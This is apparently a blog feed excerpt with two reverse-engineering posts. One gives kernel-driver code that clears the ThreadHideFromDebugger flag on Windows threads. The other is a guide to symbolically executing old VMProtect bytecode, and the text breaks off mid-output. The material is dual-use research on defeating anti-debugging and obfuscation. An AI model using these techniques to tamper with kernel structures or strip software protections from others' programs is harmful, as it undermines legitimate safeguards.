The documentation for ...]]></description><link>https://www.lodsb.com/ntsetinformationthread-disabling-threadhidefromdebugger</link><guid isPermaLink="true">https://www.lodsb.com/ntsetinformationthread-disabling-threadhidefromdebugger</guid><dc:creator><![CDATA[Sam Russell]]></dc:creator><pubDate>Thu, 25 Nov 2021 18:09:16 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1637861714728/Jq8xlxFg0.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>One common anti-debugging technique is to make use of the Windows API to simply mark your threads as invisible to the debugger. This isn't officially documented by Microsoft but it has been quite robust across windows versions.</p>
<p>The documentation for <a target="_blank" href="https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/ntifs/nf-ntifs-ntsetinformationthread">NtSetInformationThread</a> says we can alter the following parameters on our thread:</p>
<ul>
<li>ThreadPriority</li>
<li>ThreadBasePriority</li>
<li>ThreadPagePriority</li>
<li>ThreadPowerThrottlingState</li>
</ul>
<p>But there are many more we can work with. We can set ThreadHideFromDebugger as follows and this will mean any exceptions skip the debugger and either hit SEH or explode and crash the app:</p>
<pre><code><span class="hljs-comment">// you might need to define ThreadHideFromDebugger = 0x11</span>
<span class="hljs-selector-tag">NtSetInformationThread</span>(GetCurrentThread(),ThreadHideFromDebugger, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>);
</code></pre><p>This doesn't stop anyone debugging from setting breakpoints in your code, but it means that if they do set a software breakpoint (implemented as <code>int 3</code>) then the exception that this triggers will crash your thread instead of allowing the debugger to step through and analyse your code more closely.</p>
<p>The obvious way around this is to patch NtSetInformationThread, but this can be circumvented by making the syscall directly, or by calling NtQueryInformationThread to check if the flag was set (although this can also be patch, and so on and so forth...).</p>
<p>Today I'd like to present my own approach which involves resetting the flag on the internal thread structure.</p>
<h2 id="heading-under-the-hood">Under the hood</h2>
<p>Open up ntoskrnl in your favourite disassembler and navigate to NtSetInformationThread. We're trying to track ThreadHideFromDebugger (0x11, 17 in decimal) through the code. We eventually get to a massive switch statement and find this bit of code:</p>
<pre><code><span class="hljs-attribute">if</span> ( ThreadInformationLength )
  <span class="hljs-attribute">return</span> STATUS_INFO_LENGTH_MISMATCH;
<span class="hljs-attribute">result</span> = ObReferenceObjectByHandleWithTag(hThread, THREAD_SET_INFORMATION, PsThreadType, UserMode, <span class="hljs-number">0</span>x<span class="hljs-number">79517350</span>, &amp;Object, <span class="hljs-number">0</span>);
<span class="hljs-attribute">if</span> ( result &lt; <span class="hljs-number">0</span> )
  <span class="hljs-attribute">return</span> result;
<span class="hljs-attribute">_InterlockedOr</span>((volatile LONG *)Object + <span class="hljs-number">324</span>, <span class="hljs-number">4</span>);
</code></pre><p>This gets a pointer to the ETHREAD structure for the thread and sets a bit in an undocumented flags field.</p>
<p>If we browse further we can see similar calls, e.g.</p>
<pre><code>// ThreadBreakOnTermination
<span class="hljs-keyword">if</span> ( ThreadInformation )
  _InterlockedOr((<span class="hljs-keyword">volatile</span> LONG *)<span class="hljs-keyword">Object</span> + <span class="hljs-number">324</span>, <span class="hljs-number">0x20</span>);
<span class="hljs-keyword">else</span>
  _InterlockedAnd((<span class="hljs-keyword">volatile</span> LONG *)<span class="hljs-keyword">Object</span> + <span class="hljs-number">324</span>, <span class="hljs-number">0xFFFFFFDF</span>);
</code></pre><pre><code>// <span class="hljs-number">43</span> = ?
<span class="hljs-keyword">if</span> ( ThreadInformation )
  _InterlockedOr((<span class="hljs-keyword">volatile</span> LONG *)<span class="hljs-keyword">Object</span> + <span class="hljs-number">324</span>, <span class="hljs-number">0x80000</span>);
<span class="hljs-keyword">else</span>
  _InterlockedAnd((<span class="hljs-keyword">volatile</span> LONG *)<span class="hljs-keyword">Object</span> + <span class="hljs-number">324</span>, <span class="hljs-number">0xFFF7FFFF</span>);
</code></pre><pre><code>// <span class="hljs-number">46</span> = ?
<span class="hljs-keyword">if</span> ( v93 )
  _InterlockedOr((<span class="hljs-keyword">volatile</span> DWORD *)<span class="hljs-keyword">Object</span> + <span class="hljs-number">324</span>, <span class="hljs-number">0x200000</span>);
<span class="hljs-keyword">else</span>
  _InterlockedAnd((<span class="hljs-keyword">volatile</span> DWORD *)<span class="hljs-keyword">Object</span> + <span class="hljs-number">324</span>, <span class="hljs-number">0xFFDFFFFF</span>);
</code></pre><p>So it's clear that this field is made to have flags switched both on and off, and it's a little weird that only the ThreadHideFromDebugger field is one that latches on.</p>
<p>There's nothing stopping us from turning this flag off again ourselves though... we'll have to write our own driver, but that's entirely doable.</p>
<h2 id="heading-to-the-kernel">To the kernel</h2>
<p>We need to do the following things:</p>
<ul>
<li>Get a reference to the thread</li>
<li>Convert the thread into a pointer where we have write access</li>
<li>Mask out third bit (0x04) to enable debugging again</li>
</ul>
<p>Because we're communicating with a driver we can't pass the handle from our application as it won't translate correctly, so we'll need to do this by thread ID instead. Here's what the kernel code looks like to enable debugging again:</p>
<pre><code>LONG* pEthread;
NTSTATUS result = PsLookupThreadByThreadId((HANDLE)<span class="hljs-keyword">input</span>, (PETHREAD*)&amp;pEthread);
<span class="hljs-keyword">if</span> (result &lt; <span class="hljs-number">0</span>) {
    DebugMessage("armswideopen: Couldn't get pointer to ETHREAD struct, error: %X\n", result);
}
<span class="hljs-keyword">else</span> {
    DebugMessage("armswideopen: Unsetting ThreadHideFromDebugger flag\n");
    _InterlockedAnd((<span class="hljs-keyword">volatile</span> LONG*)(pEthread + ethreadOffset), (<span class="hljs-number">0xFFFFFFFF</span> - <span class="hljs-number">4</span>));

    ObDereferenceObject(pEthread);
}
</code></pre><p>You'll note we've use a variable for <code>ethreadOffset</code>, the reason for this is that the ETHREAD struct varies from build to build. I've been developing this on build 19042, but testing it on the free VM that Microsoft supplies for testing Edge and that's running build 17763 where the offset is 436.</p>
<p>The link to the source is at the bottom, and you'll note it includes this plus the IOCTL code required to communicate with the driver.</p>
<h2 id="heading-watching-it-in-action">Watching it in action</h2>
<p>I've written a simple app that we can breakpoint at various stages to see whether it crashes. The app looks like this:</p>
<pre><code><span class="hljs-comment">// initial state</span>
<span class="hljs-built_in">std</span>::<span class="hljs-built_in">cout</span> &lt;&lt; <span class="hljs-string">"isDebuggerBlocked: "</span> &lt;&lt; GetThreadDebuggableStatus(GetCurrentThread()) &lt;&lt; <span class="hljs-built_in">std</span>::<span class="hljs-built_in">endl</span>;

<span class="hljs-comment">// disable debugging</span>
SetThreadNotDebuggable(GetCurrentThread());
<span class="hljs-built_in">std</span>::<span class="hljs-built_in">cout</span> &lt;&lt; <span class="hljs-string">"Set ThreadHideFromDebugger"</span> &lt;&lt; <span class="hljs-built_in">std</span>::<span class="hljs-built_in">endl</span>;

<span class="hljs-comment">// should be blocked now</span>
<span class="hljs-built_in">std</span>::<span class="hljs-built_in">cout</span> &lt;&lt; <span class="hljs-string">"isDebuggerBlocked: "</span> &lt;&lt; GetThreadDebuggableStatus(GetCurrentThread()) &lt;&lt; <span class="hljs-built_in">std</span>::<span class="hljs-built_in">endl</span>;

<span class="hljs-comment">// enable debugging</span>
SetThreadDebuggable(hDriver, GetCurrentThreadId());
<span class="hljs-built_in">std</span>::<span class="hljs-built_in">cout</span> &lt;&lt; <span class="hljs-string">"Reset ThreadHideFromDebugger"</span> &lt;&lt; <span class="hljs-built_in">std</span>::<span class="hljs-built_in">endl</span>;

<span class="hljs-comment">// should be unblocked now</span>
<span class="hljs-built_in">std</span>::<span class="hljs-built_in">cout</span> &lt;&lt; <span class="hljs-string">"isDebuggerBlocked: "</span> &lt;&lt; GetThreadDebuggableStatus(GetCurrentThread()) &lt;&lt; <span class="hljs-built_in">std</span>::<span class="hljs-built_in">endl</span>;

<span class="hljs-comment">// wait</span>
<span class="hljs-built_in">std</span>::<span class="hljs-built_in">cin</span> &gt;&gt; result;
</code></pre><p>So let's try breakpointing at the start:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1637861714728/Jq8xlxFg0.png" alt="awo2.PNG" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1637861723804/y7x6APvVD.png" alt="awo3.PNG" /></p>
<p>Breakpoint works fine. What about if we breakpoint after we set ThreadHideFromDebugger?</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1637861765023/qksMp5IWI.png" alt="awo1.PNG" /></p>
<p>Not much to see here because it just crashes and disappears.</p>
<p>Let's try putting a breakpoint after we've reset the ThreadHideFromDebugger flag:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1637862287272/TdREbMmjk.png" alt="awo4.PNG" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1637862296395/HmYkVlSrG.png" alt="awo5.PNG" /></p>
<p>Not only does NtQueryInformationThread confirm that we've disabled ThreadHideFromDebugger, but our breakpoints are working again!</p>
<h2 id="heading-try-it-out">Try it out</h2>
<p>Code is at https://github.com/samrussell/armswideopen</p>
<p>To get your driver installable and debuggable I recomend the steps at https://medium.com/@eaugusto/setting-up-a-windows-7-virtualbox-vm-for-kernel-mode-debugging-367911889316</p>
<p>Install and start the driver as follows:</p>
<pre><code>sc <span class="hljs-keyword">create</span> armswideopen binPath=k:\armswideopen.sys <span class="hljs-keyword">type</span>=kernel

sc <span class="hljs-keyword">start</span> armswideopen

sc <span class="hljs-keyword">stop</span> armswideopen
</code></pre>]]></content:encoded></item><item><title><![CDATA[Guide to reversing VMProtect (old versions)]]></title><description><![CDATA[This is one I've been working on for a while, and most of the ideas here come from 
 Rolf Rolles, so I'd encourage you to read through his article series on this and other virtualization obfuscators.
I'm not going to go into details of how VMProtect ...]]></description><link>https://www.lodsb.com/guide-to-reversing-vmprotect-old-versions</link><guid isPermaLink="true">https://www.lodsb.com/guide-to-reversing-vmprotect-old-versions</guid><dc:creator><![CDATA[Sam Russell]]></dc:creator><pubDate>Thu, 02 Sep 2021 13:30:39 GMT</pubDate><content:encoded><![CDATA[<p>This is one I've been working on for a while, and most of the ideas here come from 
 <a target="_blank" href="https://www.msreverseengineering.com/blog/2014/6/23/vmprotect-part-0-basics">Rolf Rolles</a>, so I'd encourage you to read through his article series on this and other virtualization obfuscators.</p>
<p>I'm not going to go into details of how VMProtect works, have a look at  <a target="_blank" href="https://back.engineering/17/05/2021/">xeroxz</a>'s or  <a target="_blank" href="https://whereisr0da.github.io/blog/posts/2021-02-16-vmp-3/">r0da</a>'s posts on the subject if you want more details.</p>
<p>What we're looking at here is how to convert the bytecode into symbolic operations, and then evaluate these to figure out what the code is doing. The bulk of this is something that you'll need to do yourself by trial and error, but I'm hoping these notes will help anyone who gets stuck. Let's get started.</p>
<h2 id="convert-to-asm-or-something-close-to-it">Convert to asm (or something close to it)</h2>
<p>I've seen other people trying to "lift" vmprotect bytecode to a higher level intermediate language, but I've found this has limited my options when it comes to decompilation. Rolf Rolles recommends converting each bytecode instruction to a set of asm-like instructions (fairly similar to what the VM handlers do), and this has made the later steps a lot easier. It makes the code a little bulky, but we can always fix this later with copy and constant propagation.</p>
<p>The big advantage I've found with this approach is that it's kept me focused on what each individual instruction is doing: What does a <code>push</code> mean here? What does a <code>mov</code> mean here? There are a couple of edge cases but focusing on individual commands has helped me come up with some consistent rules that make life a lot easier when decompiling/emulating.</p>
<p>Here are some examples:</p>
<p>Load constant onto stack:</p>
<pre><code><span class="hljs-attribute">mov</span> eax, dword(<span class="hljs-number">0</span>x<span class="hljs-number">35010</span>FF<span class="hljs-number">3</span>)
<span class="hljs-attribute">push</span> eax
</code></pre><p>Pop into scratch register:</p>
<pre><code><span class="hljs-attribute">pop</span> eax
<span class="hljs-attribute">mov</span> scratch:[<span class="hljs-number">0</span>x<span class="hljs-number">0</span>A], eax
</code></pre><p>Add with flags</p>
<pre><code><span class="hljs-keyword">pop</span> eax
<span class="hljs-keyword">pop</span> edx
add eax, edx
<span class="hljs-keyword">push</span> eax
pushfw
</code></pre><p>Nor</p>
<pre><code><span class="hljs-keyword">pop</span> ax
<span class="hljs-keyword">pop</span> dx
nor ax, dx
<span class="hljs-keyword">push</span> ax
</code></pre><p>These don't exactly match how the VM handlers have been done, but what matters is that they return the same results. Care needs to be taken with a couple of operations. Even the bitwise <code>NOR</code> which is done back-to-front (<code>NOT</code> on both operands and then an <code>AND</code>) doesn't really matter, but in the VM handler having the <code>AND</code> at the end gives you the flags for free (the <code>NOT</code> opcode doesn't set any flags).</p>
<h2 id="keep-track-of-sizes">Keep track of sizes</h2>
<p>For the most part you can manage the stack with objects rather than trying to be clever and convert into bytes (like a complex symbolic execution engine like  <a target="_blank" href="https://triton.quarkslab.com/">Triton</a> would do). There are a few cases to consider though:</p>
<ul>
<li>Sometimes an argument will come in as a DWORD (in the initial stack frame), get stored in a scratch register, and then accessed as a WORD</li>
<li>Sometimes a WORD will get sign-extended by pushing a 0 WORD before hand and then popping into a DWORD</li>
</ul>
<p>These are all easily solved if you keep track of sizes and have your own operators to manage these (I use a DoubleWord operator for combining two words, and a LoWord operator to do this in reverse).</p>
<p>Here's an example of flags being added to the stack pointer (branch emulation, discussed more below)</p>
<pre><code><span class="hljs-keyword">push</span> esp
mov ax, word(<span class="hljs-number">0x0000</span>)
<span class="hljs-keyword">push</span> ax
mov ax, scratch:[<span class="hljs-number">0x09</span>]
<span class="hljs-keyword">push</span> ax
<span class="hljs-keyword">pop</span> eax
<span class="hljs-keyword">pop</span> edx
add eax, edx
<span class="hljs-keyword">push</span> eax
</code></pre><h2 id="eliminate-the-stack">Eliminate the stack</h2>
<p>There are two important things to know about the VMProtect stack machine:</p>
<ol>
<li>It's an implementation detail</li>
<li>It doesn't exist in the original x86 code</li>
</ol>
<p>Rolles mentions this as a useful optimization step and I agree. There's an edge case with stack pointers (we'll cover that in a second) but otherwise the stack is just a pain. Something gets pushed onto the stack? Call it a variable. You pop 2 things off, add them, then put them back on? That's just <code>c = a + b</code>. Get this part right and the rest is very easy.</p>
<p>For example, say we want to add two numbers:</p>
<pre><code>mov eax, dword(<span class="hljs-number">0x12345678</span>)
<span class="hljs-keyword">push</span> eax
mov eax, dword(<span class="hljs-number">0x4444AAAA</span>)
<span class="hljs-keyword">push</span> eax
<span class="hljs-keyword">pop</span> eax
<span class="hljs-keyword">pop</span> edx
add eax, edx
<span class="hljs-keyword">push</span> eax
</code></pre><p>I would symbolize it like this:</p>
<pre><code><span class="hljs-attribute">stack</span> =<span class="hljs-meta"> []</span>
<span class="hljs-attribute">symbol0</span> = Symbol(Immediate(<span class="hljs-number">4</span>, <span class="hljs-number">0</span>x<span class="hljs-number">12345678</span>))
<span class="hljs-attribute">stack</span>.append(symbol<span class="hljs-number">0</span>)
<span class="hljs-attribute">symbol1</span> = Symbol(Immediate(<span class="hljs-number">4</span>, <span class="hljs-number">0</span>x<span class="hljs-number">4444</span>AAAA))
<span class="hljs-attribute">stack</span>.append(symbol<span class="hljs-number">1</span>)
<span class="hljs-attribute">symbol2</span> = Symbol(AddOperation(stack.pop(), stack.pop()))
<span class="hljs-attribute">stack</span>.append(symbol<span class="hljs-number">2</span>)
</code></pre><p>You can choose how you do this, I create a new symbol with every push (unless it's already a symbol, e.g. coming from a scratch register), but ultimately having nested symbols isn't the end of the world. The big bonus with creating symbol objects is that you can store them in a table and use them to cache evaluated symbols to speed things up later.</p>
<h2 id="symbolize-from-the-top-down-evaluate-from-the-bottom-up">Symbolize from the top down, evaluate from the bottom up</h2>
<p>If you were simply writing an emulator then you'd put real values in the top and run the whole way through and get your results at the bottom. We can do the same thing when symbolizing, we can put placeholders in at the top, run through and build up a symbol table, and then we're left with our outputs at the bottom. Once we have these though, it's trivial to go backwards and resolve all of the symbols that were used to get to the result. The nice thing with this approach is that you don't need to think too hard about dead store removal as dead-end symbols just don't get referenced from the bottom so they get ignored implicitly.</p>
<p>With VMProtect we know it's a stack machine and that the result of any operation gets loaded back onto the stack. Because of this, we can create a new symbol every time we see a <code>push</code> opcode.</p>
<p>Apps will also need to do memory IO, so I keep a journal of memory writes (when we get a <code>pop [eax]</code> instruction). These can be populated at emulation time.</p>
<p>When it comes to emulating I do the following:</p>
<ul>
<li>Memory writes in order</li>
<li>Stack variables at the end (in any order)</li>
</ul>
<h2 id="treat-normal-memory-different-from-stack-memory">Treat normal memory different from stack memory</h2>
<p>Because I disassemble into an x86-like language, I end up just handling <code>push [eax]</code> and <code>push esp</code> as <code>Dereference</code> and <code>Pointer</code> objects. These are fine to leave hanging around when symbolizing, but when emulating we need to resolve them differently.</p>
<p>As a rule, we should only see <code>Pointer</code> objects generated when we see <code>push esp</code>, so these are always going to be stack pointers. We can dereference both memory and stack pointers though, so I check for these at emulation time; if we have an immediate value then I pull this from the emulated memory of the app, otherwise we have a pointer and we just get them to cancel each other out.</p>
<p>Note that the VM handlers exist for accessing with any segment register, and the stack pointer work <em>appears</em> to use <code>SS</code> for all stack pointer work, but YMMV on this.</p>
<p>There's just one edge case to handle when dealing with stack pointers:</p>
<h2 id="be-careful-with-branch-emulation">Be careful with branch emulation</h2>
<p>VMProtect emulates branching by loading two function addresses onto the stack, executing the opcode that would set the flags (e.g. a <code>CMP</code> to compare registers is emulated as a <code>SUB</code> which in practice is <code>ADD a, -b</code>), converting the flags into an offset (either 0 or 4), and then advancing the stack pointer by that much, reading that value, then sometimes overwriting another stack pointer (?!).</p>
<p>For example, </p>
<pre><code><span class="hljs-keyword">push</span> esp
mov ax, word(<span class="hljs-number">0x0000</span>)
<span class="hljs-keyword">push</span> ax
mov ax, scratch:[<span class="hljs-number">0x09</span>]
<span class="hljs-keyword">push</span> ax
<span class="hljs-keyword">pop</span> eax
<span class="hljs-keyword">pop</span> edx
add eax, edx
<span class="hljs-keyword">push</span> eax
<span class="hljs-keyword">pop</span>, eax,
<span class="hljs-keyword">push</span>, ss:[eax]
</code></pre><p>This pushes the stack pointer, loads the flag-based offset from a previous calculation, and adds them to the stack pointer. We then read that pointer and put it onto the stack.</p>
<p>This part is easy enough to handle, we create a Pointer object which keeps the original stack, and when we handle addition we just advance the pointer. Here's how I did it in python:</p>
<pre><code><span class="hljs-keyword">class</span> Pointer:
    def __init__(<span class="hljs-keyword">self</span>, param, stack):
        <span class="hljs-keyword">self</span>.param = param
        <span class="hljs-keyword">self</span>.stack = stack

    def advance(<span class="hljs-keyword">self</span>, immediate):
        value = <span class="hljs-keyword">int</span>(immediate.value, <span class="hljs-number">0x10</span>)
        <span class="hljs-keyword">if</span> value % <span class="hljs-number">4</span>:
            raise Exception(<span class="hljs-string">"Advancing pointer by weird number: %d"</span> % value)
        <span class="hljs-keyword">if</span> value == <span class="hljs-number">0</span>:
            <span class="hljs-keyword">return</span> <span class="hljs-keyword">self</span>
        offset = value <span class="hljs-comment">// 4</span>
        <span class="hljs-keyword">if</span> offset &gt; len(<span class="hljs-keyword">self</span>.stack):
            raise Exception(<span class="hljs-string">"Advancing pointer by %d with stack size %d"</span> % offset, len(<span class="hljs-keyword">self</span>.stack))
        newstack = <span class="hljs-keyword">copy</span>(<span class="hljs-keyword">self</span>.stack)
        <span class="hljs-keyword">for</span> x <span class="hljs-keyword">in</span> range(offset):
            newstack.pop()
        last_arg = newstack[<span class="hljs-number">-1</span>]
        <span class="hljs-keyword">return</span> Pointer(last_arg, newstack)
</code></pre><p>So this will propagate pointers down until they're needed. We do end up with another problem when it comes to <em>writing</em> to a stack pointer:</p>
<pre><code><span class="hljs-keyword">push</span> esp
mov eax, dword(<span class="hljs-number">0x00000008</span>)
<span class="hljs-keyword">push</span> eax
<span class="hljs-keyword">pop</span> eax
<span class="hljs-keyword">pop</span> edx
add eax, edx
<span class="hljs-keyword">push</span> eax
<span class="hljs-keyword">pop</span> eax
<span class="hljs-keyword">pop</span> ss:[eax]
<span class="hljs-keyword">pop</span> eax
</code></pre><p>This code does the following:</p>
<ol>
<li>Loads the stack pointer</li>
<li>Adds 8 to it</li>
<li>Writes the previous result to it</li>
<li>Cleans up the stack</li>
</ol>
<p>Here's the whole picture put together just to show how it works:</p>
<ol>
<li>Stack = [branch1, branch2]</li>
<li>Load stack pointer, stack = [&amp;stack[1], branch1, branch2]</li>
<li>Load flags result, stack = [0 or 4, &amp;stack[1], branch1, branch2]</li>
<li>Add flags result to stack pointer, stack = [&amp;stack[1 or 2], branch1, branch2]</li>
<li>Dereference pointer, stack = [branch1 or branch2, branch1, branch2]</li>
<li>Load stack pointer, stack = [&amp;stack[1], branch1 or branch2, branch1, branch2]</li>
<li>Load 8, stack = [8, &amp;stack[1], branch1 or branch2, branch1, branch2]</li>
<li>Add offset to stack, stack = [&amp;stack[3], branch1 or branch2, branch1, branch2]</li>
<li>Overwrite stack[0] with stack[1], stack = [branch1, branch1 or branch2]</li>
<li>Pop head of stack, stack = [branch1 or branch2]</li>
</ol>
<p>This is a little convoluted but this leaves us with a stack with a pointer based on the result of a comparison earlier on.</p>
<p>There's one big problem: we got rid of the stack at the start! The way I dealt with this was keeping one thing in mind - the stack depth is the only thing we really care about.</p>
<p>The way I handle this is that when I process a dereference (<code>pop [eax]</code>) I go and wrap everything in the stack inside a new object called a <code>ConditionalOverride</code> which includes the old value, the potential new value, the pointer, and the stack depth of this object. When it comes time to evaluate the result, I evaluate the pointer, and test the stack size of the pointer against the stack depth of this object. If they're the same then I evaluate the overwritten value, otherwise I evaluate the original value. The code looks like this:</p>
<pre><code><span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">process_pop</span><span class="hljs-params">(<span class="hljs-keyword">self</span>, dest)</span></span>:
    <span class="hljs-keyword">if</span> is_deref(dest):
        size = <span class="hljs-number">4</span> <span class="hljs-comment"># we are guessing this</span>
        override_symbol = <span class="hljs-keyword">self</span>.pop_size(size)
        pointer_symbol = <span class="hljs-keyword">self</span>.registers[get_deref_value(dest)]
        <span class="hljs-keyword">self</span>.memory.append((pointer_symbol, override_symbol))
        <span class="hljs-comment"># need to wrap everything on the stack in case we overwrote it</span>
        new_stack = []
        <span class="hljs-keyword">while</span> <span class="hljs-keyword">self</span>.<span class="hljs-symbol">stack:</span>
            stack_size = sum(map(lambda <span class="hljs-symbol">x:</span> x.size, <span class="hljs-keyword">self</span>.stack))
            default_symbol = <span class="hljs-keyword">self</span>.stack.pop()
            override = ConditionalOverride(pointer_symbol, override_symbol, stack_size, default_symbol)
            wrapped_symbol = <span class="hljs-keyword">self</span>.symbols.put(override, size)
            new_stack.insert(<span class="hljs-number">0</span>, wrapped_symbol)

        <span class="hljs-keyword">self</span>.stack = new_stack
</code></pre><p>Then when it comes time to evaluate one of these:</p>
<pre><code><span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">evaluate_conditional_override</span><span class="hljs-params">(<span class="hljs-keyword">self</span>, conditional_override)</span></span>:
    conditional_value = <span class="hljs-keyword">self</span>.evaluate(conditional_override.conditional_symbol)
    <span class="hljs-comment"># we need the size of the stack</span>
    burnable_stack = copy(conditional_value.stack)
    stack_size = <span class="hljs-number">0</span>
    <span class="hljs-keyword">while</span> <span class="hljs-symbol">burnable_stack:</span>
        value = burnable_stack.pop()

        stack_size += value.size

    <span class="hljs-keyword">if</span> stack_size == conditional_override.<span class="hljs-symbol">stack_trigger_size:</span>
        <span class="hljs-keyword">return</span> <span class="hljs-keyword">self</span>.evaluate(conditional_override.override_symbol)
    <span class="hljs-symbol">else:</span>
        <span class="hljs-keyword">return</span> <span class="hljs-keyword">self</span>.evaluate(conditional_override.default_symbol)
</code></pre><p>The other option is creating a new entity every time something hits the stack and overwriting it just-in-time, but that would mean going back through and updating everything in order (as well as global state, ew). This way keeps a bit more state but means every terminal symbol contains all the information it needs, provided any global memory has been updated correctly.</p>
<h2 id="store-a-journal-of-global-memory-writes">Store a journal of global memory writes</h2>
<p>One thing that got me stuck early on was how to resolve something like this:</p>
<pre><code><span class="hljs-selector-tag">pop</span> <span class="hljs-selector-attr">[eax]</span>
</code></pre><p>Every other command moves a symbol to somewhere, be it a register, a stack register, or the stack. Here we store some information <em>somewhere</em> but because we haven't resolved anything we don't actually know where it's going.</p>
<p>I store these in a simple list as pairs of <code>(location, value)</code>. Depending on how complicated your code is, it's probably worth storing the height of the symbol table here in case this gets read in between writes. Then when it comes to emulation we just emulate these. If the location is a stack pointer then we discard it, otherwise we log a write at that point in time. I haven't built this part yet, but a copy-on-write setup would be really useful here.</p>
<p>When it comes to reading it's super easy as we can read directly from memory (I'm using  <a target="_blank" href="https://lief-project.github.io/">Lief </a> for this), but it should be simple to wrap this in a copy-on-write layer that handles our writes.</p>
<h2 id="bonus-some-samples">Bonus: some samples</h2>
<p>I've made some simple apps to test and I thought I'd share how they work out.</p>
<p>Here's an app that creates a MessageBox. Here are the terminal symbols (the ones that either end up on the stack or getting written to memory:</p>
<p>(note: this ended up being so large that I ended up writing a simplifier to count multiple references and move them to the top)</p>
<pre><code>Symbols <span class="hljs-keyword">with</span> multiple <span class="hljs-keyword">references</span>:
Symbol9 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span> <span class="hljs-keyword">value</span>=(
  arg1
)
Symbol10 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span> <span class="hljs-keyword">value</span>=(
  <span class="hljs-keyword">Immediate</span>(<span class="hljs-number">4</span>, <span class="hljs-number">0x0</span>x00)
)
Symbol11 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span> <span class="hljs-keyword">value</span>=(
  <span class="hljs-keyword">Immediate</span>(<span class="hljs-number">4</span>, <span class="hljs-number">0x00000000</span>)
)
Symbol34 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span> <span class="hljs-keyword">value</span>=(
    Symbol33 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span> <span class="hljs-keyword">value</span>=(
        Symbol32 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span> <span class="hljs-keyword">value</span>=(
            Symbol31 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span> <span class="hljs-keyword">value</span>=(
              <span class="hljs-keyword">Immediate</span>(<span class="hljs-number">4</span>, <span class="hljs-number">0xA166874E</span>)
            )
          +
            Symbol30 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span> <span class="hljs-keyword">value</span>=(
              <span class="hljs-keyword">Immediate</span>(<span class="hljs-number">4</span>, <span class="hljs-number">0xF93E78B3</span>)
            )
        )
      +
        Symbol29 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span> <span class="hljs-keyword">value</span>=(
          Dereference(
            Symbol28 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span> <span class="hljs-keyword">value</span>=(
                Symbol10 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span>
              +
                Symbol27 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span> <span class="hljs-keyword">value</span>=(
                    Symbol26 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span> <span class="hljs-keyword">value</span>=(
                      <span class="hljs-keyword">Immediate</span>(<span class="hljs-number">4</span>, <span class="hljs-number">0x00202075</span>)
                    )
                  &lt;&lt;
                    Symbol25 <span class="hljs-keyword">size</span>=<span class="hljs-number">2</span> <span class="hljs-keyword">value</span>=(
                      <span class="hljs-keyword">Immediate</span>(<span class="hljs-number">2</span>, <span class="hljs-number">0x0001</span>)
                    )
                )
            )
          )
        )
    )
  +
    Symbol24 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span> <span class="hljs-keyword">value</span>=(
        Symbol23 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span> <span class="hljs-keyword">value</span>=(
            Symbol22 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span> <span class="hljs-keyword">value</span>=(
                Symbol21 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span> <span class="hljs-keyword">value</span>=(
                    Symbol20 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span> <span class="hljs-keyword">value</span>=(
                      <span class="hljs-keyword">Immediate</span>(<span class="hljs-number">4</span>, <span class="hljs-number">0xA7A9831E</span>)
                    )
                  +
                    Symbol19 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span> <span class="hljs-keyword">value</span>=(
                      <span class="hljs-keyword">Immediate</span>(<span class="hljs-number">4</span>, <span class="hljs-number">0x946D2BFA</span>)
                    )
                )
              +
                Symbol18 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span> <span class="hljs-keyword">value</span>=(
                  Dereference(
                    Symbol17 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span> <span class="hljs-keyword">value</span>=(
                        Symbol10 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span>
                      +
                        Symbol16 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span> <span class="hljs-keyword">value</span>=(
                            Symbol15 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span> <span class="hljs-keyword">value</span>=(
                              <span class="hljs-keyword">Immediate</span>(<span class="hljs-number">4</span>, <span class="hljs-number">0x0808A980</span>)
                            )
                          &gt;&gt;
                            Symbol14 <span class="hljs-keyword">size</span>=<span class="hljs-number">2</span> <span class="hljs-keyword">value</span>=(
                              <span class="hljs-keyword">Immediate</span>(<span class="hljs-number">2</span>, <span class="hljs-number">0x0005</span>)
                            )
                        )
                    )
                  )
                )
            )
          +
            Symbol13 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span> <span class="hljs-keyword">value</span>=(
              <span class="hljs-keyword">Immediate</span>(<span class="hljs-number">4</span>, <span class="hljs-number">0xFAAF021A</span>)
            )
        )
      nor
        Symbol12 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span> <span class="hljs-keyword">value</span>=(
          <span class="hljs-keyword">Immediate</span>(<span class="hljs-number">4</span>, <span class="hljs-number">0xFFBFCFFF</span>)
        )
    )
)
Symbol57 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span> <span class="hljs-keyword">value</span>=(
